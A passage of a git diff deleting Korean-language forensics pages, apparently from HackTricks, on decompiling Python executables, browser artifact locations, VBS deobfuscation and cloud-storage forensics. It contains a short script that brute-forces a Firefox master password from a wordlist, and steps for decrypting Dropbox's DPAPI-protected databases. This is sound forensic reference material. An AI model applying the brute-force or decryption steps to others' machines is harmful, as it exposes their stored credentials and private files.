`wlan.addr== && (ftp || http || ssh || telnet)` 트래픽을 필터링합니다. ftp/http/ssh/telnet 필터는 트래픽을 복호화한 경우에 유용합니다. - -# 트래픽 복호화 - -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit - -![](<../../../images/image (426).png>) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md deleted file mode 100644 index 2045050d5..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ /dev/null @@ -1,201 +0,0 @@ -# 컴파일된 파이썬 바이너리 (exe, elf) 디컴파일 - .pyc에서 가져오기 - -{{#include ../../../banners/hacktricks-training.md}} - -## 컴파일된 바이너리에서 .pyc로 - -**ELF** 컴파일된 바이너리에서 **.pyc**를 얻을 수 있습니다: -```bash -pyi-archive_viewer -# The list of python modules will be given here: -[(0, 230, 311, 1, 'm', 'struct'), -(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), -(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), -(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), -(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), -(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), -(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), -(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), -(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), -(15535, 2514, 4421, 1, 's', 'binary_name'), -... - -? X binary_name -to filename? /tmp/binary.pyc -``` -**파이썬 exe 바이너리**로 컴파일된 경우, 다음을 실행하여 **.pyc**를 얻을 수 있습니다: -```bash -python pyinstxtractor.py executable.exe -``` -## .pyc에서 파이썬 코드로 - -**.pyc** 데이터("컴파일된" 파이썬)에서 **원본** **파이썬** **코드**를 **추출**하려고 시도해야 합니다: -```bash -uncompyle6 binary.pyc > decompiled.py -``` -**확실히** 이진 파일에 **확장자** "**.pyc**"가 있는지 확인하세요 (아니면, uncompyle6가 작동하지 않습니다) - -**uncompyle6**를 실행하는 동안 **다음 오류**를 발견할 수 있습니다: - -### 오류: 알 수 없는 매직 넘버 227 -```bash -/kali/.local/bin/uncompyle6 /tmp/binary.pyc -Unknown magic number 227 in /tmp/binary.pyc -``` -이 문제를 해결하려면 생성된 파일의 시작 부분에 **올바른 매직 넘버**를 **추가해야** 합니다. - -**매직 넘버는 파이썬 버전에 따라 다릅니다**, **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야 합니다: -``` ->> import imp ->> imp.get_magic().hex() -'550d0d0a' -``` -이 경우 python3.8의 **매직 넘버**는 **`0x550d0d0a`**입니다. 그러므로 이 오류를 수정하려면 **.pyc 파일**의 **시작 부분**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000` - -**한 번** 그 매직 헤더를 **추가**하면, **오류가 수정되어야 합니다.** - -올바르게 추가된 **.pyc python3.8 매직 헤더**는 다음과 같이 보일 것입니다: -```bash -hexdump 'binary.pyc' | head -0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 -0000010 00e3 0000 0000 0000 0000 0000 0000 0000 -0000020 0700 0000 4000 0000 7300 0132 0000 0064 -0000030 0164 006c 005a 0064 0164 016c 015a 0064 -``` -### 오류: 일반적인 오류 디컴파일 - -**기타 오류**: `class 'AssertionError'>; co_code는 (, , , ) 중 하나여야 합니다; 유형은 입니다`가 나타날 수 있습니다. - -이는 아마도 **마법 숫자를 올바르게 추가하지 않았거나** **올바른 마법 숫자를 사용하지 않았기 때문**일 수 있으므로 **올바른 숫자를 사용하고 있는지 확인하세요** (또는 새로운 숫자를 시도해 보세요). - -이전 오류 문서를 확인하세요. - -## 자동 도구 - -[**python-exe-unpacker 도구**](https://github.com/countercept/python-exe-unpacker)는 연구자들이 py2exe 및 pyinstaller로 작성된 실행 파일을 언팩하고 디컴파일하는 데 도움을 주기 위해 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 이 도구는 실행 파일이 Python 기반인지 식별하고 생성 도구를 확인하기 위한 YARA 규칙을 포함합니다. - -### ImportError: 파일 이름: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc'가 존재하지 않습니다 - -일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor로 언팩하는 과정에서** 불완전한 Python 바이트코드 파일이 생성되어 **누락된 Python 바이트코드 버전 번호로 인해 uncompyle6에서 인식되지 않는 경우**입니다. 이를 해결하기 위해 필요한 Python 바이트코드 버전 번호를 추가하는 prepend 옵션이 추가되어 디컴파일 과정을 용이하게 합니다. - -문제의 예: -```python -# Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py -Traceback (most recent call last): -... -ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist -``` - -```python -# Successful decompilation after using the prepend option -test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive -[*] On Python 2.7 -[+] Magic bytes are already appended. - -# Successfully decompiled file -[+] Successfully decompiled. -``` -## 파이썬 어셈블리 분석 - -이전 단계에 따라 파이썬 "원본" 코드를 추출할 수 없었다면, **어셈블리**를 **추출**해 볼 수 있습니다(하지만 **매우 설명적이지 않으므로**, **다시** 원본 코드를 **추출**해 보세요). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 **디스어셈블**하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). _.pyc_가 python2에서 생성된 경우 python2를 사용하세요: -```bash ->>> import dis ->>> import marshal ->>> import struct ->>> import imp ->>> ->>> with open('hello.pyc', 'r') as f: # Read the binary file -... magic = f.read(4) -... timestamp = f.read(4) -... code = f.read() -... ->>> ->>> # Unpack the structured content and un-marshal the code ->>> magic = struct.unpack('>> timestamp = struct.unpack('>> code = marshal.loads(code) ->>> magic, timestamp, code -((62211,), (1425911959,), at 0x7fd54f90d5b0, file "hello.py", line 1>) ->>> ->>> # Verify if the magic number corresponds with the current python version ->>> struct.unpack('>> ->>> # Disassemble the code object ->>> dis.disassemble(code) -1 0 LOAD_CONST 0 () -3 MAKE_FUNCTION 0 -6 STORE_NAME 0 (hello_world) -9 LOAD_CONST 1 (None) -12 RETURN_VALUE ->>> ->>> # Also disassemble that const being loaded (our function) ->>> dis.disassemble(code.co_consts[0]) -2 0 LOAD_CONST 1 ('Hello {0}') -3 LOAD_ATTR 0 (format) -6 LOAD_FAST 0 (name) -9 CALL_FUNCTION 1 -12 PRINT_ITEM -13 PRINT_NEWLINE -14 LOAD_CONST 0 (None) -17 RETURN_VALUE -``` -## Python to Executable - -시작하기 위해, 우리는 payload가 py2exe와 PyInstaller에서 어떻게 컴파일될 수 있는지 보여줄 것입니다. - -### py2exe를 사용하여 payload 생성하기: - -1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다. -2. payload를 위해 (이 경우, 우리는 hello.py라고 이름을 지을 것입니다), 그림 1에 있는 것과 같은 스크립트를 사용합니다. 값이 1인 “bundle_files” 옵션은 Python 인터프리터를 포함하여 모든 것을 하나의 exe로 묶습니다. -3. 스크립트가 준비되면, “python setup.py py2exe” 명령을 실행합니다. 이렇게 하면 그림 2와 같이 실행 파일이 생성됩니다. -```python -from distutils.core import setup -import py2exe, sys, os - -sys.argv.append('py2exe') - -setup( -options = {'py2exe': {'bundle_files': 1}}, -#windows = [{'script': "hello.py"}], -console = [{'script': "hello.py"}], -zipfile = None, -) -``` - -```bash -C:\Users\test\Desktop\test>python setup.py py2exe -running py2exe -*** searching for required modules *** -*** parsing results *** -*** finding dlls needed *** -*** create binaries *** -*** byte compile python files *** -*** copy extensions *** -*** copy dlls *** -copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe -Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe -``` -### PyInstaller를 사용하여 페이로드 생성하기: - -1. pip를 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller). -2. 그 후, “pyinstaller –onefile hello.py” 명령을 실행합니다 (여기서 ‘hello.py’는 우리의 페이로드입니다). 이렇게 하면 모든 것이 하나의 실행 파일로 묶입니다. -``` -C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -108 INFO: PyInstaller: 3.3.1 -108 INFO: Python: 2.7.14 -108 INFO: Platform: Windows-10-10.0.16299 -……………………………… -5967 INFO: checking EXE -5967 INFO: Building EXE because out00-EXE.toc is non existent -5982 INFO: Building EXE from out00-EXE.toc -5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe -6325 INFO: Building EXE from out00-EXE.toc completed successfully. -``` -## 참고문헌 - -- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md deleted file mode 100644 index 216257d38..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ /dev/null @@ -1,41 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -여기에서 특정 파일 형식 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다: - -{{#ref}} -.pyc.md -{{#endref}} - -{{#ref}} -browser-artifacts.md -{{#endref}} - -{{#ref}} -desofuscation-vbs-cscript.exe.md -{{#endref}} - -{{#ref}} -local-cloud-storage.md -{{#endref}} - -{{#ref}} -office-file-analysis.md -{{#endref}} - -{{#ref}} -pdf-file-analysis.md -{{#endref}} - -{{#ref}} -png-tricks.md -{{#endref}} - -{{#ref}} -video-and-audio-file-analysis.md -{{#endref}} - -{{#ref}} -zips-tricks.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md deleted file mode 100644 index a46eea25d..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ /dev/null @@ -1,162 +0,0 @@ -# 브라우저 아티팩트 - -{{#include ../../../banners/hacktricks-training.md}} - -## 브라우저 아티팩트 - -브라우저 아티팩트는 탐색 기록, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 저장되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다. - -가장 일반적인 브라우저 아티팩트의 요약은 다음과 같습니다: - -- **탐색 기록**: 사용자가 방문한 웹사이트를 추적하며, 악성 사이트 방문을 식별하는 데 유용합니다. -- **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합할 때 통찰력을 제공합니다. -- **북마크**: 사용자가 빠르게 접근하기 위해 저장한 사이트입니다. -- **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온입니다. -- **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 유용합니다. -- **로그인**: 저장된 로그인 자격 증명입니다. -- **파비콘**: 웹사이트와 관련된 아이콘으로, 탭 및 북마크에 나타나며, 사용자 방문에 대한 추가 정보를 제공합니다. -- **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터입니다. -- **다운로드**: 브라우저를 통해 다운로드한 파일의 기록입니다. -- **양식 데이터**: 웹 양식에 입력된 정보로, 향후 자동 완성 제안을 위해 저장됩니다. -- **썸네일**: 웹사이트의 미리보기 이미지입니다. -- **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어입니다. - -## Firefox - -Firefox는 사용자 데이터를 프로필 내에서 구성하며, 운영 체제에 따라 특정 위치에 저장됩니다: - -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` - -이 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini` 내의 `Path` 변수에 명시된 이름의 폴더에 저장되며, `profiles.ini`와 동일한 디렉토리에 위치합니다. 프로필 폴더가 누락된 경우 삭제되었을 수 있습니다. - -각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다: - -- **places.sqlite**: 기록, 북마크 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)와 같은 도구를 사용하여 기록 데이터를 접근할 수 있습니다. -- 특정 SQL 쿼리를 사용하여 기록 및 다운로드 정보를 추출합니다. -- **bookmarkbackups**: 북마크의 백업을 포함합니다. -- **formhistory.sqlite**: 웹 양식 데이터를 저장합니다. -- **handlers.json**: 프로토콜 핸들러를 관리합니다. -- **persdict.dat**: 사용자 정의 사전 단어입니다. -- **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보입니다. -- **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다. -- **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)와 같은 도구를 통해 접근할 수 있습니다. -- **favicons.sqlite**: 파비콘을 저장합니다. -- **prefs.js**: 사용자 설정 및 기본 설정입니다. -- **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재 places.sqlite에 통합되었습니다. -- **thumbnails**: 웹사이트 썸네일입니다. -- **logins.json**: 암호화된 로그인 정보입니다. -- **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다. - -또한, 브라우저의 피싱 방지 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다. - -마스터 비밀번호를 복호화하려면 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)를 사용할 수 있습니다.\ -다음 스크립트와 호출을 사용하여 비밀번호 파일을 지정하여 무차별 대입 공격을 시도할 수 있습니다: -```bash:brute.sh -#!/bin/bash - -#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" -passfile=$1 -while read pass; do -echo "Trying $pass" -echo "$pass" | python firefox_decrypt.py -done < $passfile -``` -![](<../../../images/image (417).png>) - -## Google Chrome - -Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다: - -- **Linux**: `~/.config/google-chrome/` -- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` - -이 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 있습니다. 다음 파일들은 중요한 데이터를 포함하고 있습니다: - -- **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)를 사용하여 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 입력된 URL, 양식 제출 및 페이지 새로 고침을 포함한 다양한 의미를 가집니다. -- **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)를 사용할 수 있습니다. -- **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)를 사용할 수 있습니다. -- **Bookmarks**: 사용자 북마크. -- **Web Data**: 양식 기록을 포함합니다. -- **Favicons**: 웹사이트 파비콘을 저장합니다. -- **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다. -- **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터. -- **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 동안 활성화된 사이트에 대한 정보. -- **Extensions**: 브라우저 확장 및 애드온을 위한 디렉토리. -- **Thumbnails**: 웹사이트 썸네일을 저장합니다. -- **Preferences**: 플러그인, 확장, 팝업, 알림 등에 대한 설정을 포함한 정보가 풍부한 파일입니다. -- **Browser’s built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다. - -## **SQLite DB Data Recovery** - -앞서 언급한 섹션에서 볼 수 있듯이, Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. **삭제된 항목을 복구하는 도구** [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다. - -## **Internet Explorer 11** - -Internet Explorer 11은 다양한 위치에서 데이터와 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 접근하고 관리할 수 있도록 돕습니다. - -### Metadata Storage - -Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다 (VX는 V01, V16 또는 V24입니다). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와의 수정 시간 불일치를 보여줄 수 있으며, 이는 `esentutl /r V01 /d`를 사용하여 수리가 필요함을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되어 있으며, photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보도 포함됩니다. - -### Cache Inspection - -[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다. - -### Cookies Management - -쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 지속적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 존재합니다. - -### Download Details - -다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)를 통해 접근할 수 있으며, 특정 컨테이너는 URL, 파일 유형 및 다운로드 위치와 같은 데이터를 보유합니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 아래에서 찾을 수 있습니다. - -### Browsing History - -브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)를 사용할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer에 대한 구성이 필요합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다. - -### Typed URLs - -입력된 URL과 그 사용 시간은 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime` 레지스트리에 저장되어 있으며, 사용자가 입력한 마지막 50개의 URL과 그 마지막 입력 시간을 추적합니다. - -## Microsoft Edge - -Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형에 대한 경로는 다음과 같습니다: - -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다: - -- **History.db**: `history_visits` 및 `history_items` 테이블을 포함하여 URL 및 방문 타임스탬프를 포함합니다. 쿼리를 위해 `sqlite3`를 사용합니다. -- **Downloads.plist**: 다운로드된 파일에 대한 정보. -- **Bookmarks.plist**: 북마크된 URL을 저장합니다. -- **TopSites.plist**: 가장 자주 방문한 사이트. -- **Extensions.plist**: Safari 브라우저 확장 목록. `plutil` 또는 `pluginkit`을 사용하여 검색합니다. -- **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인. `plutil`을 사용하여 구문 분석합니다. -- **LastSession.plist**: 마지막 세션의 탭. `plutil`을 사용하여 구문 분석합니다. -- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 응답이 1이면 기능이 활성화되어 있음을 나타냅니다. - -## Opera - -Opera의 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 위치하며, 기록 및 다운로드에 대한 Chrome의 형식을 공유합니다. - -- **Browser’s built-in anti-phishing**: `grep`을 사용하여 Preferences 파일에서 `fraud_protection_enabled`가 `true`로 설정되어 있는지 확인합니다. - -이 경로와 명령은 다양한 웹 브라우저에 의해 저장된 브라우징 데이터에 접근하고 이해하는 데 중요합니다. - -## References - -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md deleted file mode 100644 index 618b0e0e1..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ /dev/null @@ -1,42 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -악성 VBS 파일을 디버깅/디오브스케이팅하는 데 유용할 수 있는 몇 가지 사항: - -## echo -```bash -Wscript.Echo "Like this?" -``` -## 댓글 -```bash -' this is a comment -``` -## 테스트 -```bash -cscript.exe file.vbs -``` -## 파일에 데이터 쓰기 -```js -Function writeBinary(strBinary, strPath) - -Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - -' below lines purpose: checks that write access is possible! -Dim oTxtStream - -On Error Resume Next -Set oTxtStream = oFSO.createTextFile(strPath) - -If Err.number <> 0 Then MsgBox(Err.message) : Exit Function -On Error GoTo 0 - -Set oTxtStream = Nothing -' end check of write access - -With oFSO.createTextFile(strPath) -.Write(strBinary) -.Close -End With - -End Function -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md deleted file mode 100644 index 533d4be10..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ /dev/null @@ -1,95 +0,0 @@ -# 로컬 클라우드 스토리지 - -{{#include ../../../banners/hacktricks-training.md}} - -## OneDrive - -Windows에서 OneDrive 폴더는 `\Users\\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 안에는 동기화된 파일에 대한 흥미로운 데이터가 포함된 `SyncDiagnostics.log` 파일을 찾을 수 있습니다: - -- 바이트 단위 크기 -- 생성 날짜 -- 수정 날짜 -- 클라우드의 파일 수 -- 폴더의 파일 수 -- **CID**: OneDrive 사용자 고유 ID -- 보고서 생성 시간 -- OS의 HD 크기 - -CID를 찾은 후에는 **이 ID를 포함하는 파일을 검색하는 것이 좋습니다**. _**\.ini**_ 및 _**\.dat**_와 같은 이름의 파일을 찾을 수 있으며, 이 파일들은 OneDrive와 동기화된 파일의 이름과 같은 흥미로운 정보를 포함할 수 있습니다. - -## Google Drive - -Windows에서 Google Drive의 주요 폴더는 `\Users\\AppData\Local\Google\Drive\user_default`에 있습니다.\ -이 폴더에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등의 정보가 포함된 Sync_log.log라는 파일이 있습니다. 삭제된 파일도 해당 로그 파일에 해당 MD5와 함께 나타납니다. - -파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스입니다. 이 테이블에서는 **동기화된** **파일**의 **이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다. - -데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다. - -## Dropbox - -Dropbox는 파일 관리를 위해 **SQLite 데이터베이스**를 사용합니다. 이 데이터베이스는 다음 폴더에서 찾을 수 있습니다: - -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` - -주요 데이터베이스는 다음과 같습니다: - -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx - -".dbx" 확장자는 **데이터베이스**가 **암호화되어 있음을** 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) - -Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)을 읽을 수 있습니다. - -그러나 주요 정보는 다음과 같습니다: - -- **엔트로피**: d114a55212655f74bd772e37e64aee9b -- **솔트**: 0D638C092E8B82FC452883F95F355B8E -- **알고리즘**: PBKDF2 -- **반복 횟수**: 1066 - -그 외에도 데이터베이스를 복호화하려면 다음이 필요합니다: - -- **암호화된 DPAPI 키**: `NTUSER.DAT\Software\Dropbox\ks\client`의 레지스트리에서 찾을 수 있습니다 (이 데이터를 이진 형식으로 내보내기) -- **`SYSTEM`** 및 **`SECURITY`** 하이브 -- **DPAPI 마스터 키**: `\Users\\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다 -- Windows 사용자의 **사용자 이름** 및 **비밀번호** - -그런 다음 도구 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**를 사용할 수 있습니다:** - -![](<../../../images/image (448).png>) - -모든 것이 예상대로 진행되면, 도구는 원본을 복구하는 데 필요한 **기본 키**를 표시합니다. 원본을 복구하려면 이 [cyber_chef 레시피]()를 사용하여 기본 키를 레시피의 "비밀번호"로 넣으면 됩니다. - -결과로 나오는 헥스는 데이터베이스를 암호화하는 데 사용된 최종 키이며, 이를 복호화할 수 있습니다: -```bash -sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db -``` -The **`config.dbx`** 데이터베이스에는 다음이 포함됩니다: - -- **Email**: 사용자의 이메일 -- **usernamedisplayname**: 사용자의 이름 -- **dropbox_path**: Dropbox 폴더가 위치한 경로 -- **Host_id: Hash**: 클라우드에 인증하는 데 사용됩니다. 이는 웹에서만 취소할 수 있습니다. -- **Root_ns**: 사용자 식별자 - -The **`filecache.db`** 데이터베이스에는 Dropbox와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블이 가장 유용한 정보를 포함하고 있습니다: - -- **Server_path**: 서버 내에서 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됩니다). -- **local_sjid**: 파일의 버전 -- **local_mtime**: 수정 날짜 -- **local_ctime**: 생성 날짜 - -이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다: - -- **block_cache**: Dropbox의 모든 파일 및 폴더의 해시 -- **block_ref**: `block_cache` 테이블의 해시 ID와 `file_journal` 테이블의 파일 ID를 관련짓습니다. -- **mount_table**: Dropbox의 공유 폴더 -- **deleted_fields**: Dropbox에서 삭제된 파일 -- **date_added** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md deleted file mode 100644 index 3f42d674a..000000000 --- 